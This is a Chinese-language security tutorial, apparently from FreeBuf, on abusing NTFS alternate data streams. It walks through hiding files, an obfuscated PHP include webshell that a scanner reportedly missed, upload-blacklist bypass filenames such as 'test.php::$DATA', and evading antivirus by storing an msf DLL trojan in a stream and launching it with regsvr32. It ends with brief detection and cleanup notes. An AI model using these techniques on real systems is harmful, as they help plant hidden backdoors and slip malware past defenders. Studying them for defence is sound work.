NTFS交換數據流(Alternate DataStreams,簡稱ADS)是NTFS磁碟格式的一個特性,在NTFS文件系統下,每個文件都可以存在多個數據流。通俗的理解,就是其它文件可以「寄宿」在某個文件身上。利用ADS數據流,我們可以做很多有趣的事情,同時對於企業安全來說這類問題也隱藏著巨大的風險。本文主要討論利用方式以及如何防禦這類攻擊。
利用方式文件隱藏在NTFS分區創建ADS數據流文件有兩種形式:一是指定宿主文件;二是創建單獨的ADS文件。常用的創建命令有兩個:echo和type ,echo用於輸入常規字符,type則用於將文件附加到目標文件,此類用法通常為CTF出題時候使用。
指定宿主文件
這類情況可以使用命令
echo 9527 > 1.txt:flag.txt
創建目標文件:
正常情況文件無法查看到,可以使用命令:
dir /r
文件內容可以使用命令notepad 1.txt:flag.txt 進行查看和編輯 查看到文件名:
文件內容可以使用命令:
notepad 1.txt:flag.txt
進行查看和編輯:
此類文件可以通過直接刪除宿主文件清除。
單獨的ADS數據流文件
這類可以通過命令
echo hide > :key.txt
來進行創建:
創建之後在目錄下無文件,也沒有依賴的宿主文件,並且此類文件在當前目錄命令行下是無法查看的,因為它是依賴於文件夾的ADS數據流文件:
因此需要退到上級目錄進行查看:
使用命令:
notepad test:key.txt
可以進行編輯:
像這類文件的清除一種是通過刪除文件夾的方式,但是假如這個文件是創建在系統根目錄如何進行處理,此時需要用到WinHex Tools - Open Disk功能。
選中目標盤符,找到目標文件夾。
可以進行查看:
如需刪除只需在WinHex選中之後按Delete即可。
webshell後門由於windows xp之後的系統對於ADS文件都沒有執行權限,因此隱藏此類webshell需要用到文件包含來進行配合。
首先創建被包含文件index.php:s.txt。
內容為:
<?php phpinfo();?>
然後參考:https://blog.csdn.net/nzjdsds/article/details/81260524的方法,Hex之後通過利用PHP 可變變量進行二次轉換,696e6465782e7068703a732e747874為index.php:s.txt的hex編碼,最終test.php中內容如下:
<?php $a="696e6465782e70"."68703a732e747874";$b="a";include(PACK('H*',$$b))?>
訪問test.php即可:
使用最新版D盾掃描也無法發現問題。
PS:這邊另外補充一點,文件最好寄宿在純靜態文件,因為像php文件修改後會改變屬性,系統層相當於生成了一個新的文件,導致ADS文件失去宿主而消失。
文件上傳這一塊主要是用於Bypass上傳黑名單驗證,因為在我們上傳數據流文件時,形如test.php::$DATA、test.php:a.txt這樣的後綴,windows系統必定需要創建一個對應的宿主文件test.php,同時假設我們需要上傳的文件內容為:
<?php phpinfo();?>
下面是上傳是會出現的現象:
| 上傳的文件名 | 伺服器表面現象 | 生成的文件內容 || --- | --- | --- || Test.php:a.jpg | 生成Test.php | 空 || Test.php::$DATA | 生成test.php | <?phpphpinfo();?> || Test.php::$INDEX_ALLOCATION | 生成test.php文件夾 | \ || Test.php::$DATA\0.jpg | 生成0.jpg | <?phpphpinfo();?> |
可以注意到上傳文件名為Test.php::$INDEX_ALLOCATION時會生成對應的文件夾,利用此種特性也可以用於突破UDF提權時遇到無法創建文件夾的問題。
病毒免殺前面提到過在windows xp 03之後的版本的數據流文件都被禁止了執行權限,因此可以使用wscript來運行vbs,此處在C盤根目錄使用命令:
type1.vbs > :2.vbs
創建了依賴C盤存在的數據流文件c::2.vbs ,沒有工具正常是無法清除的。
使用命令:
wscript c::2.vbs
可以成功執行vbs。
當然我們今天主要是來測試病毒免殺的,所以首先使用msf生成一個dll木馬。
很容易就被確認為病毒。
使用命令:
type test.dll > 1.txt:ms
將dll寫入數據流文件:
再次使用360聯網完全體進行查殺,無法發現此類木馬。
使用命令:
regsvr32 1.txt:ms
運行dll,當然由於病毒行為太明顯沒作處理,360還是會動態查殺的,這個配合一點其他的免殺技術完全過掉也不難,這邊不再多做贅述。
小結目前殺毒軟體和webshell查殺對ADS數據流技術的查殺支持並不是很好,並且木馬可能進行依賴於盤符的駐留方式,希望能本文能有所幫助。
檢測檢測的工具常見的有LADS (List Alternate Data Streams)、Streams、Sfind等(供參考)
清除清除方式目前一個是個人用過的winhex和刪除宿主文件這兩種方式,另一個就是藉助相關工具如IceSword刪除。
參考https://www.freebuf.com/articles/73270.html
https://www.cnblogs.com/feiyucha/p/9940895.html
https://blog.csdn.net/nzjdsds/article/details/81260524
https://www.i0day.com/733.html
*本文作者:3unshine,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。